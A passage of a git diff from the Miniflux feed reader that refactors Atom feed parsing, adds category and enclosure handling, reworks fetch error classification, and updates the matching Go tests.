std::unique_ptr<S> myvar;]]> - ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } - expected := `std::unique_ptr<S>` + if len(feed.Entries) != 3 { + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) + } + + expected := `std::unique_ptr<S> myvar;` for i := range 3 { if feed.Entries[i].Content != expected { t.Errorf("Incorrect content for entry #%d, got: %q", i, feed.Entries[i].Content) @@ -723,12 +752,12 @@ func TestParseEntryWithTextSummary(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } - expected := `AT&T <S>` + expected := `AT&T ` for i := range 4 { if feed.Entries[i].Content != expected { t.Errorf("Incorrect content for entry #%d, got: %q", i, feed.Entries[i].Content) @@ -747,7 +776,7 @@ func TestParseEntryWithTextContent(t *testing.T) { urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a 2003-12-13T18:30:02Z - AT&T <S> + AT&T <strong>Strong Element</strong> @@ -755,7 +784,7 @@ func TestParseEntryWithTextContent(t *testing.T) { urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a 2003-12-13T18:30:02Z - AT&T <S> + AT&T <strong>Strong Element</strong> @@ -763,7 +792,7 @@ func TestParseEntryWithTextContent(t *testing.T) { urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a 2003-12-13T18:30:02Z - AT&T <S> + AT&T <strong>Strong Element</strong> @@ -771,20 +800,20 @@ func TestParseEntryWithTextContent(t *testing.T) { urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a 2003-12-13T18:30:02Z - ]]> + Strong Element]]> ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } - expected := `AT&T <S>` + expected := `AT&T Strong Element` for i := range 4 { if feed.Entries[i].Content != expected { - t.Errorf("Incorrect content for entry #%d, got: %q", i, feed.Entries[i].Content) + t.Errorf("Incorrect content for entry #%d, got: %q instead of %q", i, feed.Entries[i].Content, expected) } } } @@ -821,7 +850,7 @@ func TestParseEntryWithHTMLContent(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -852,7 +881,7 @@ func TestParseEntryWithXHTMLContent(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -881,7 +910,7 @@ func TestParseEntryWithAuthorName(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -910,7 +939,7 @@ func TestParseEntryWithoutAuthorName(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -925,7 +954,6 @@ func TestParseEntryWithMultipleAuthors(t *testing.T) { Example Feed - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a @@ -938,10 +966,9 @@ func TestParseEntryWithMultipleAuthors(t *testing.T) { Bob - ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -951,7 +978,7 @@ func TestParseEntryWithMultipleAuthors(t *testing.T) { } } -func TestParseEntryWithoutAuthor(t *testing.T) { +func TestParseFeedWithEntryWithoutAuthor(t *testing.T) { data := ` Example Feed @@ -959,17 +986,15 @@ func TestParseEntryWithoutAuthor(t *testing.T) { John Doe - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a 2003-12-13T18:30:02Z Some text. - ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -990,17 +1015,18 @@ func TestParseFeedWithMultipleAuthors(t *testing.T) { Bob - + + Bob + urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a 2003-12-13T18:30:02Z Some text. - ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1015,17 +1041,15 @@ func TestParseFeedWithoutAuthor(t *testing.T) { Example Feed - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a 2003-12-13T18:30:02Z Some text. - ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1075,13 +1099,13 @@ func TestParseEntryWithEnclosures(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } if len(feed.Entries) != 1 { - t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) } if feed.Entries[0].URL != "http://www.example.org/entries/1" { @@ -1116,6 +1140,89 @@ func TestParseEntryWithEnclosures(t *testing.T) { } } +func TestParseEntryWithRelativeEnclosureURL(t *testing.T) { + data := ` + + https://www.example.org/myfeed + My Podcast Feed + + + + https://www.example.org/entries/1 + Atom 1.0 + 2005-07-15T12:00:00Z + + + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries) != 1 { + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) + } + + if len(feed.Entries[0].Enclosures) != 1 { + t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + } + + if feed.Entries[0].Enclosures[0].URL != "https://example.org/myaudiofile.mp3" { + t.Errorf("Incorrect enclosure URL, got: %q", feed.Entries[0].Enclosures[0].URL) + } +} + +func TestParseEntryWithDuplicateEnclosureURL(t *testing.T) { + data := ` + + http://www.example.org/myfeed + My Podcast Feed + + + + http://www.example.org/entries/1 + Atom 1.0 + 2005-07-15T12:00:00Z + + + + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries) != 1 { + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) + } + + if len(feed.Entries[0].Enclosures) != 1 { + t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + } + + if feed.Entries[0].Enclosures[0].URL != "http://www.example.org/myaudiofile.mp3" { + t.Errorf("Incorrect enclosure URL, got: %q", feed.Entries[0].Enclosures[0].URL) + } +} + func TestParseEntryWithoutEnclosureURL(t *testing.T) { data := ` @@ -1135,7 +1242,7 @@ func TestParseEntryWithoutEnclosureURL(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1168,7 +1275,7 @@ func TestParseEntryWithPublished(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1194,7 +1301,7 @@ func TestParseEntryWithPublishedAndUpdated(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1206,7 +1313,7 @@ func TestParseEntryWithPublishedAndUpdated(t *testing.T) { func TestParseInvalidXml(t *testing.T) { data := `garbage` - _, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + _, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err == nil { t.Error("Parse should returns an error") } @@ -1221,7 +1328,7 @@ func TestParseTitleWithSingleQuote(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1240,7 +1347,7 @@ func TestParseTitleWithEncodedSingleQuote(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1259,7 +1366,7 @@ func TestParseTitleWithSingleQuoteAndHTMLType(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1278,7 +1385,7 @@ func TestParseWithHTMLEntity(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1297,7 +1404,7 @@ func TestParseWithInvalidCharacterEntity(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1310,44 +1417,41 @@ func TestParseWithInvalidCharacterEntity(t *testing.T) { func TestParseMediaGroup(t *testing.T) { data := ` - http://www.example.org/myfeed + https://www.example.org/myfeed My Video Feed 2005-07-15T12:00:00Z - - + + - http://www.example.org/entries/1 + https://www.example.org/entries/1 Some Video 2005-07-15T12:00:00Z - + Another title - + + + + + + Some description A website: http://example.org/ ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } if len(feed.Entries) != 1 { - t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) } - if feed.Entries[0].URL != "http://www.example.org/entries/1" { - t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL) - } - - if feed.Entries[0].Content != `Some description
A website: http://example.org/` { - t.Errorf("Incorrect entry content, got: %q", feed.Entries[0].Content) - } - - if len(feed.Entries[0].Enclosures) != 2 { + if len(feed.Entries[0].Enclosures) != 4 { t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) } @@ -1356,8 +1460,10 @@ A website: http://example.org/ mimeType string size int64 }{ - {"https://example.org/thumbnail.jpg", "image/*", 0}, + {"https://www.example.org/duplicate-thumbnail.jpg", "image/*", 0}, + {"https://example.org/thumbnail2.jpg", "image/*", 0}, {"https://www.youtube.com/v/abcd", "application/x-shockwave-flash", 0}, + {"https://example.org/v/efg", "application/x-shockwave-flash", 0}, } for index, enclosure := range feed.Entries[0].Enclosures { @@ -1378,42 +1484,41 @@ A website: http://example.org/ func TestParseMediaElements(t *testing.T) { data := ` - http://www.example.org/myfeed + https://www.example.org/myfeed My Video Feed 2005-07-15T12:00:00Z - - + + - http://www.example.org/entries/1 + https://www.example.org/entries/1 Some Video 2005-07-15T12:00:00Z - + Another title - + + + + + + + + Some description A website: http://example.org/ ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } if len(feed.Entries) != 1 { - t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) } - if feed.Entries[0].URL != "http://www.example.org/entries/1" { - t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL) - } - - if feed.Entries[0].Content != `Some description
A website: http://example.org/` { - t.Errorf("Incorrect entry content, got: %q", feed.Entries[0].Content) - } - - if len(feed.Entries[0].Enclosures) != 2 { + if len(feed.Entries[0].Enclosures) != 5 { t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) } @@ -1422,8 +1527,11 @@ A website: http://example.org/ mimeType string size int64 }{ - {"https://example.org/thumbnail.jpg", "image/*", 0}, + {"https://example.org/duplicated-thumbnail.jpg", "image/*", 0}, {"https://www.youtube.com/v/abcd", "application/x-shockwave-flash", 0}, + {"https://example.org/relative/media.mp4", "application/x-shockwave-flash", 0}, + {"http://www.example.org/sampleFile.torrent", "application/x-bittorrent", 0}, + {"https://example.org/sampleFile2.torrent", "application/x-bittorrent", 0}, } for index, enclosure := range feed.Entries[0].Enclosures { @@ -1467,7 +1575,7 @@ func TestParseRepliesLinkRelationWithHTMLType(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1511,7 +1619,7 @@ func TestParseRepliesLinkRelationWithXHTMLType(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1550,7 +1658,7 @@ func TestParseRepliesLinkRelationWithNoType(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1590,7 +1698,7 @@ func TestAbsoluteCommentsURL(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -1608,51 +1716,73 @@ func TestAbsoluteCommentsURL(t *testing.T) { } } -func TestParseFeedWithCategories(t *testing.T) { +func TestParseItemWithCategories(t *testing.T) { data := ` Example Feed - - Alice - - - Bob - - - - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a + 2003-12-13T18:30:02Z Some text. - + - ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } if len(feed.Entries[0].Tags) != 2 { - t.Errorf("Incorrect number of tags, got: %d", len(feed.Entries[0].Tags)) + t.Fatalf("Incorrect number of tags, got: %d", len(feed.Entries[0].Tags)) } - expected := "Tech" + expected := "Science" result := feed.Entries[0].Tags[0] if result != expected { t.Errorf("Incorrect entry category, got %q instead of %q", result, expected) } - expected = "Science" + expected = "ZZZZ" result = feed.Entries[0].Tags[1] if result != expected { t.Errorf("Incorrect entry category, got %q instead of %q", result, expected) } } +func TestParseFeedWithCategories(t *testing.T) { + data := ` + + Example Feed + + + + + + + 2003-12-13T18:30:02Z + Some text. + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries[0].Tags) != 1 { + t.Fatalf("Incorrect number of tags, got: %d", len(feed.Entries[0].Tags)) + } + + expected := "Some Label" + result := feed.Entries[0].Tags[0] + if result != expected { + t.Errorf("Incorrect entry category, got %q instead of %q", result, expected) + } +} + func TestParseFeedWithIconURL(t *testing.T) { data := ` @@ -1661,7 +1791,7 @@ func TestParseFeedWithIconURL(t *testing.T) { http://example.org/icon.png ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } diff --git a/internal/reader/atom/atom_common.go b/internal/reader/atom/atom_common.go index 4b283d44..945c5573 100644 --- a/internal/reader/atom/atom_common.go +++ b/internal/reader/atom/atom_common.go @@ -3,77 +3,91 @@ package atom // import "miniflux.app/v2/internal/reader/atom" -import "strings" +import ( + "strings" +) -type atomPerson struct { - Name string `xml:"name"` +// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-3.2 +type AtomPerson struct { + // The "atom:name" element's content conveys a human-readable name for the author. + // It MAY be the name of a corporation or other entity no individual authors can be named. + // Person constructs MUST contain exactly one "atom:name" element, whose content MUST be a string. + Name string `xml:"name"` + + // The "atom:email" element's content conveys an e-mail address associated with the Person construct. + // Person constructs MAY contain an atom:email element, but MUST NOT contain more than one. + // Its content MUST be an e-mail address [RFC2822]. + // Ordering of the element children of Person constructs MUST NOT be considered significant. Email string `xml:"email"` } -func (a *atomPerson) String() string { - name := "" - - switch { - case a.Name != "": - name = a.Name - case a.Email != "": - name = a.Email +func (a *AtomPerson) PersonName() string { + name := strings.TrimSpace(a.Name) + if name != "" { + return name } - return strings.TrimSpace(name) + return strings.TrimSpace(a.Email) } -type atomAuthors []*atomPerson +type AtomPersons []*AtomPerson -func (a atomAuthors) String() string { - var authors []string +func (a AtomPersons) PersonNames() []string { + var names []string + authorNamesMap := make(map[string]bool) for _, person := range a { - authors = append(authors, person.String()) + personName := person.PersonName() + if _, ok := authorNamesMap[personName]; !ok { + names = append(names, personName) + authorNamesMap[personName] = true + } } - return strings.Join(authors, ", ") + return names } -type atomLink struct { - URL string `xml:"href,attr"` +// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-4.2.7 +type AtomLink struct { + Href string `xml:"href,attr"` Type string `xml:"type,attr"` Rel string `xml:"rel,attr"` Length string `xml:"length,attr"` + Title string `xml:"title,attr"` } -type atomLinks []*atomLink +type AtomLinks []*AtomLink -func (a atomLinks) originalLink() string { +func (a AtomLinks) OriginalLink() string { for _, link := range a { if strings.EqualFold(link.Rel, "alternate") { - return strings.TrimSpace(link.URL) + return strings.TrimSpace(link.Href) } if link.Rel == "" && (link.Type == "" || link.Type == "text/html") { - return strings.TrimSpace(link.URL) + return strings.TrimSpace(link.Href) } } return "" } -func (a atomLinks) firstLinkWithRelation(relation string) string { +func (a AtomLinks) firstLinkWithRelation(relation string) string { for _, link := range a { if strings.EqualFold(link.Rel, relation) { - return strings.TrimSpace(link.URL) + return strings.TrimSpace(link.Href) } } return "" } -func (a atomLinks) firstLinkWithRelationAndType(relation string, contentTypes ...string) string { +func (a AtomLinks) firstLinkWithRelationAndType(relation string, contentTypes ...string) string { for _, link := range a { if strings.EqualFold(link.Rel, relation) { for _, contentType := range contentTypes { if strings.EqualFold(link.Type, contentType) { - return strings.TrimSpace(link.URL) + return strings.TrimSpace(link.Href) } } } @@ -81,3 +95,61 @@ func (a atomLinks) firstLinkWithRelationAndType(relation string, contentTypes .. return "" } + +func (a AtomLinks) findAllLinksWithRelation(relation string) []*AtomLink { + var links []*AtomLink + + for _, link := range a { + if strings.EqualFold(link.Rel, relation) { + link.Href = strings.TrimSpace(link.Href) + if link.Href != "" { + links = append(links, link) + } + } + } + + return links +} + +// The "atom:category" element conveys information about a category +// associated with an entry or feed. This specification assigns no +// meaning to the content (if any) of this element. +// +// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-4.2.2 +type AtomCategory struct { + // The "term" attribute is a string that identifies the category to + // which the entry or feed belongs. Category elements MUST have a + // "term" attribute. + Term string `xml:"term,attr"` + + // The "scheme" attribute is an IRI that identifies a categorization + // scheme. Category elements MAY have a "scheme" attribute. + Scheme string `xml:"scheme,attr"` + + // The "label" attribute provides a human-readable label for display in + // end-user applications. The content of the "label" attribute is + // Language-Sensitive. Entities such as "&" and "<" represent + // their corresponding characters ("&" and "<", respectively), not + // markup. Category elements MAY have a "label" attribute. + Label string `xml:"label,attr"` +} + +type AtomCategories []AtomCategory + +func (ac AtomCategories) CategoryNames() []string { + var categories []string + + for _, category := range ac { + label := strings.TrimSpace(category.Label) + if label != "" { + categories = append(categories, label) + } else { + term := strings.TrimSpace(category.Term) + if term != "" { + categories = append(categories, term) + } + } + } + + return categories +} diff --git a/internal/reader/atom/parser.go b/internal/reader/atom/parser.go index bdc28239..f97985bc 100644 --- a/internal/reader/atom/parser.go +++ b/internal/reader/atom/parser.go @@ -4,7 +4,6 @@ package atom // import "miniflux.app/v2/internal/reader/atom" import ( - "encoding/xml" "fmt" "io" @@ -12,45 +11,20 @@ import ( xml_decoder "miniflux.app/v2/internal/reader/xml" ) -type atomFeed interface { - Transform(baseURL string) *model.Feed -} - // Parse returns a normalized feed struct from a Atom feed. -func Parse(baseURL string, r io.ReadSeeker) (*model.Feed, error) { - var rawFeed atomFeed - if getAtomFeedVersion(r) == "0.3" { - rawFeed = new(atom03Feed) - } else { - rawFeed = new(atom10Feed) - } - r.Seek(0, io.SeekStart) - - if err := xml_decoder.NewXMLDecoder(r).Decode(rawFeed); err != nil { - return nil, fmt.Errorf("atom: unable to parse feed: %w", err) - } - - return rawFeed.Transform(baseURL), nil -} - -func getAtomFeedVersion(data io.ReadSeeker) string { - decoder := xml_decoder.NewXMLDecoder(data) - for { - token, _ := decoder.Token() - if token == nil { - break +func Parse(baseURL string, r io.ReadSeeker, version string) (*model.Feed, error) { + switch version { + case "0.3": + atomFeed := new(Atom03Feed) + if err := xml_decoder.NewXMLDecoder(r).Decode(atomFeed); err != nil { + return nil, fmt.Errorf("atom: unable to parse Atom 0.3 feed: %w", err) } - - if element, ok := token.(xml.StartElement); ok { - if element.Name.Local == "feed" { - for _, attr := range element.Attr { - if attr.Name.Local == "version" && attr.Value == "0.3" { - return "0.3" - } - } - return "1.0" - } + return NewAtom03Adapter(atomFeed).BuildFeed(baseURL), nil + default: + atomFeed := new(Atom10Feed) + if err := xml_decoder.NewXMLDecoder(r).Decode(atomFeed); err != nil { + return nil, fmt.Errorf("atom: unable to parse Atom 1.0 feed: %w", err) } + return NewAtom10Adapter(atomFeed).BuildFeed(baseURL), nil } - return "1.0" } diff --git a/internal/reader/atom/parser_test.go b/internal/reader/atom/parser_test.go deleted file mode 100644 index a6e40dcc..00000000 --- a/internal/reader/atom/parser_test.go +++ /dev/null @@ -1,61 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -package atom // import "miniflux.app/v2/internal/reader/atom" - -import ( - "bytes" - "testing" -) - -func TestDetectAtom10(t *testing.T) { - data := ` - - - Example Feed - - 2003-12-13T18:30:02Z - - John Doe - - urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6 - - - Atom-Powered Robots Run Amok - - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a - 2003-12-13T18:30:02Z - Some text. - - - ` - - version := getAtomFeedVersion(bytes.NewReader([]byte(data))) - if version != "1.0" { - t.Errorf(`Invalid Atom version detected: %s`, version) - } -} - -func TestDetectAtom03(t *testing.T) { - data := ` - - dive into mark - - 2003-12-13T18:30:02Z - Mark Pilgrim - - Atom 0.3 snapshot - - tag:diveintomark.org,2003:3.2397 - 2003-12-13T08:29:29-04:00 - 2003-12-13T18:30:02Z - This is a test - HTML content

]]> - - ` - - version := getAtomFeedVersion(bytes.NewReader([]byte(data))) - if version != "0.3" { - t.Errorf(`Invalid Atom version detected: %s`, version) - } -} diff --git a/internal/reader/dublincore/dublincore.go b/internal/reader/dublincore/dublincore.go index fd4b4911..18c1265d 100644 --- a/internal/reader/dublincore/dublincore.go +++ b/internal/reader/dublincore/dublincore.go @@ -3,29 +3,13 @@ package dublincore // import "miniflux.app/v2/internal/reader/dublincore" -import ( - "strings" - - "miniflux.app/v2/internal/reader/sanitizer" -) - -// DublinCoreFeedElement represents Dublin Core feed XML elements. -type DublinCoreFeedElement struct { - DublinCoreCreator string `xml:"http://purl.org/dc/elements/1.1/ channel>creator"` +type DublinCoreChannelElement struct { + DublinCoreCreator string `xml:"http://purl.org/dc/elements/1.1/ creator"` } -func (feed *DublinCoreFeedElement) GetSanitizedCreator() string { - return strings.TrimSpace(sanitizer.StripTags(feed.DublinCoreCreator)) -} - -// DublinCoreItemElement represents Dublin Core entry XML elements. type DublinCoreItemElement struct { DublinCoreTitle string `xml:"http://purl.org/dc/elements/1.1/ title"` DublinCoreDate string `xml:"http://purl.org/dc/elements/1.1/ date"` DublinCoreCreator string `xml:"http://purl.org/dc/elements/1.1/ creator"` DublinCoreContent string `xml:"http://purl.org/rss/1.0/modules/content/ encoded"` } - -func (item *DublinCoreItemElement) GetSanitizedCreator() string { - return strings.TrimSpace(sanitizer.StripTags(item.DublinCoreCreator)) -} diff --git a/internal/reader/encoding/encoding.go b/internal/reader/encoding/encoding.go index 71f93543..3987a885 100644 --- a/internal/reader/encoding/encoding.go +++ b/internal/reader/encoding/encoding.go @@ -35,8 +35,3 @@ func CharsetReader(charsetLabel string, input io.Reader) (io.Reader, error) { // Transform document to UTF-8 from the specified encoding in XML prolog. return charset.NewReaderLabel(charsetLabel, r) } - -// CharsetReaderFromContentType is used when the encoding is not specified for the input document. -func CharsetReaderFromContentType(contentType string, input io.Reader) (io.Reader, error) { - return charset.NewReader(input, contentType) -} diff --git a/internal/reader/fetcher/response_handler.go b/internal/reader/fetcher/response_handler.go index 4e844bae..03ab39ca 100644 --- a/internal/reader/fetcher/response_handler.go +++ b/internal/reader/fetcher/response_handler.go @@ -10,6 +10,8 @@ import ( "io" "net" "net/http" + "net/url" + "os" "miniflux.app/v2/internal/locale" ) @@ -94,23 +96,18 @@ func (r *ResponseHandler) ReadBody(maxBodySize int64) ([]byte, *locale.Localized func (r *ResponseHandler) LocalizedError() *locale.LocalizedErrorWrapper { if r.clientErr != nil { - switch r.clientErr.(type) { - case x509.CertificateInvalidError, x509.HostnameError: + switch { + case isSSLError(r.clientErr): return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.tls_error", r.clientErr) - case *net.OpError: + case isNetworkError(r.clientErr): return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.network_operation", r.clientErr) - case net.Error: - networkErr := r.clientErr.(net.Error) - if networkErr.Timeout() { - return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.network_timeout", r.clientErr) - } - } - - if errors.Is(r.clientErr, io.EOF) { + case os.IsTimeout(r.clientErr): + return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.network_timeout", r.clientErr) + case errors.Is(r.clientErr, io.EOF): return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.http_empty_response") + default: + return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.http_client_error", r.clientErr) } - - return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.http_client_error", r.clientErr) } switch r.httpResponse.StatusCode { @@ -145,3 +142,32 @@ func (r *ResponseHandler) LocalizedError() *locale.LocalizedErrorWrapper { return nil } + +func isNetworkError(err error) bool { + if _, ok := err.(*url.Error); ok { + return true + } + if err == io.EOF { + return true + } + var opErr *net.OpError + if ok := errors.As(err, &opErr); ok { + return true + } + return false +} + +func isSSLError(err error) bool { + var certErr x509.UnknownAuthorityError + if errors.As(err, &certErr) { + return true + } + + var hostErr x509.HostnameError + if errors.As(err, &hostErr) { + return true + } + + var algErr x509.InsecureAlgorithmError + return errors.As(err, &algErr) +} diff --git a/internal/reader/googleplay/googleplay.go b/internal/reader/googleplay/googleplay.go index 38dcc71f..79404efb 100644 --- a/internal/reader/googleplay/googleplay.go +++ b/internal/reader/googleplay/googleplay.go @@ -6,7 +6,7 @@ package googleplay // import "miniflux.app/v2/internal/reader/googleplay" // Specs: // https://support.google.com/googleplay/podcasts/answer/6260341 // https://www.google.com/schemas/play-podcasts/1.0/play-podcasts.xsd -type GooglePlayFeedElement struct { +type GooglePlayChannelElement struct { GooglePlayAuthor string `xml:"http://www.google.com/schemas/play-podcasts/1.0 author"` GooglePlayEmail string `xml:"http://www.google.com/schemas/play-podcasts/1.0 email"` GooglePlayImage GooglePlayImageElement `xml:"http://www.google.com/schemas/play-podcasts/1.0 image"` diff --git a/internal/reader/handler/handler.go b/internal/reader/handler/handler.go index 12d8d383..2663b3b5 100644 --- a/internal/reader/handler/handler.go +++ b/internal/reader/handler/handler.go @@ -236,14 +236,18 @@ func RefreshFeed(store *storage.Storage, userID, feedID int64, forceRefresh bool requestBuilder.WithUsernameAndPassword(originalFeed.Username, originalFeed.Password) requestBuilder.WithUserAgent(originalFeed.UserAgent, config.Opts.HTTPClientUserAgent()) requestBuilder.WithCookie(originalFeed.Cookie) - requestBuilder.WithETag(originalFeed.EtagHeader) - requestBuilder.WithLastModified(originalFeed.LastModifiedHeader) requestBuilder.WithTimeout(config.Opts.HTTPClientTimeout()) requestBuilder.WithProxy(config.Opts.HTTPClientProxy()) requestBuilder.UseProxy(originalFeed.FetchViaProxy) requestBuilder.IgnoreTLSErrors(originalFeed.AllowSelfSignedCertificates) requestBuilder.DisableHTTP2(originalFeed.DisableHTTP2) + ignoreHTTPCache := originalFeed.IgnoreHTTPCache || forceRefresh + if !ignoreHTTPCache { + requestBuilder.WithETag(originalFeed.EtagHeader) + requestBuilder.WithLastModified(originalFeed.LastModifiedHeader) + } + responseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(originalFeed.FeedURL)) defer responseHandler.Close() @@ -261,7 +265,7 @@ func RefreshFeed(store *storage.Storage, userID, feedID int64, forceRefresh bool return localizedError } - if originalFeed.IgnoreHTTPCache || responseHandler.IsModified(originalFeed.EtagHeader, originalFeed.LastModifiedHeader) { + if ignoreHTTPCache || responseHandler.IsModified(originalFeed.EtagHeader, originalFeed.LastModifiedHeader) { slog.Debug("Feed modified", 